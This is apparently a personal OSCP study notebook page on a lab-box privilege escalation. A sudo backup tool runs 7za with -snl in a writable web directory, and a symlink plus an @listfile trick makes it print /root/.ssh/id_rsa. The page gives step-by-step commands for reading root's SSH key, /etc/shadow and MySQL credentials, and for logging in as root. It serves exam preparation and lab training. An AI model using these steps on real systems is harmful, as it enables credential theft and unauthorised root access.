Pearson's OSCP Notebook

7zip -snl Symlink Read - usage_management Privilege Escalation

Properties1
tags7zip, 7za, symlink, ln, privesc, linux, id_rsa, usage_management, snl, oscp

4 min read

7zip -snl Symlink Read — usage_management Privilege Escalation

Ctrl+F: 7za · -snl · @id_rsa · usage_management · /var/www/html · symlink · listfile

Pattern: A sudo or root cron tool chdirs into a world-writable directory (e.g. /var/www/html) and runs 7zip with -snl (store symlinks as links). You place a symlink to a protected file and an @listfile trick → 7zip reads and prints the target file contents into the archive output.

Lab reference: HTB-style usage box — sudo /usr/bin/usage_management → Project Backup.

External: HackTricks — 7z arbitrary file read

→ ln - symlinks · Archives - unzip 7z zip · Linux · SSH

📌 When to try

SignalCheck
Writable web dirls -ld /var/www/html → drwxrwxrwx or your user can write
Sudo backup/menu toolsudo -l · strings /usr/bin/SOME_tool | grep 7z
7za + -snl in binaryArchive follows symlinks from CWD
Can’t sudo to root directlyRead /root/.ssh/id_rsa or /etc/shadow via backup output
sudo -l
ls -ld /var/www/html/
strings /usr/bin/usage_management | grep -E '7za|chdir|/var/www'

📌 The vulnerable command (from strings)

strings /usr/bin/usage_management

Look for:

chdir
/var/www/html
/usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt -- *
FlagMeaning
aAppend — add files to archive /var/backups/project.zip
-tzipOutput format ZIP
-snlStore symlinks as links (follow/read link target during pack)
-mmtMultithreading
-- *All files in current directory after chdir

Flow:

usage_management (sudo)
  → chdir /var/www/html
  → 7za packs everything in CWD into project.zip
  → symlinks you created get followed → arbitrary file read

📌 Exploit steps (read root SSH key)

1 — Confirm writable directory

ls -ld /var/www/html/
# drwxrwxrwx 4 root xander 4096 ... /var/www/html/
cd /var/www/html

2 — Create @listfile + symlink

7zip listfiles start with @. The file @id_rsa tells 7zip: “read the list of files to compress from the file named id_rsa”. Because id_rsa is a symlink to /root/.ssh/id_rsa, 7zip reads the key contents instead of a list of paths.

cd /var/www/html
touch @id_rsa
ln -s /root/.ssh/id_rsa id_rsa
ls -la
# @id_rsa
# id_rsa -> /root/.ssh/id_rsa
FileRole
@id_rsaListfile marker — points 7zip at id_rsa
id_rsaSymlink → /root/.ssh/id_rsa

3 — Trigger backup as root

sudo /usr/bin/usage_management
# Choose: Project Backup (option 1 in lab)

Output includes the private key lines (often with : No more files suffix per line):

-----BEGIN OPENSSH PRIVATE KEY----- : No more files
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW : No more files
...
-----END OPENSSH PRIVATE KEY----- : No more files

4 — Solution: use the key on Kali

Clean the key — strip : No more files and fix line breaks:

# Paste into id_rsa on Kali, or sed cleanup:
sed 's/ : No more files//g' raw_key.txt > id_rsa
chmod 600 id_rsa

Verify format:

head -1 id_rsa
# -----BEGIN OPENSSH PRIVATE KEY-----
ssh-keygen -y -f id_rsa    # should print public key if valid

SSH as root:

ssh -i id_rsa root@TARGET

→ SSH · SSH Errors

📌 Other files to read (same technique)

Replace symlink target:

ln -sf /etc/shadow id_rsa
ln -sf /root/.bash_history id_rsa
ln -sf /var/lib/mysql/.my.cnf id_rsa

Then trigger the same backup command.

📌 Detection / enum checklist

# Writable dirs commonly archived
ls -ld /var/www/html /var/www /tmp /opt/*/uploads 2>/dev/null
 
# Find 7z in sudo/cron
sudo -l
grep -r 7z /etc/cron* 2>/dev/null
strings /usr/bin/* 2>/dev/null | grep -E '7za|7z .*-snl'
 
# pspy — watch for chdir + 7za (no root needed)
./pspy64 -pf -i 1000

→ pspy · Privesc Tools

📌 Variants (same idea, different tools)

TriggerWritable dirReference
sudo usage_management/var/www/htmlThis note
Root cron + 7zip/var/www/htmlln - symlinks
tar checkpointcurrent dir wildcardtar
mysqldump in same toolN/A — separate option reads DBstrings for other menu paths

Same tool may also run:

/usr/bin/mysqldump -A > /var/backups/mysql_backup.sql

— different privesc path (DB creds), not symlink-based.

📌 Troubleshooting

ProblemFix
No key in outputConfirm @id_rsa + symlink names · re-run backup option
Permission denied in web dirCheck ls -ld — need write on directory
Garbled keyRemove : No more files suffix · ensure BEGIN/END lines intact
ssh -i rejects keychmod 600 · OpenSSH format vs PEM — try ssh-keygen -p
Tool not foundstrings other binaries · grep cron for 7za

📌 Quick cheat sheet

ls -ld /var/www/html
strings /usr/bin/usage_management | grep 7za
cd /var/www/html
touch @id_rsa
ln -s /root/.ssh/id_rsa id_rsa
sudo /usr/bin/usage_management   # Project Backup
# clean key → chmod 600 → ssh -i id_rsa root@TARGET

📌 Alias check (Linux/bash)

alias
alias | grep -iE 'sudo|root|pass|su |chmod'

→ Linux > 📌 1) Basic Manual Enumeration

Graph View

Backlinks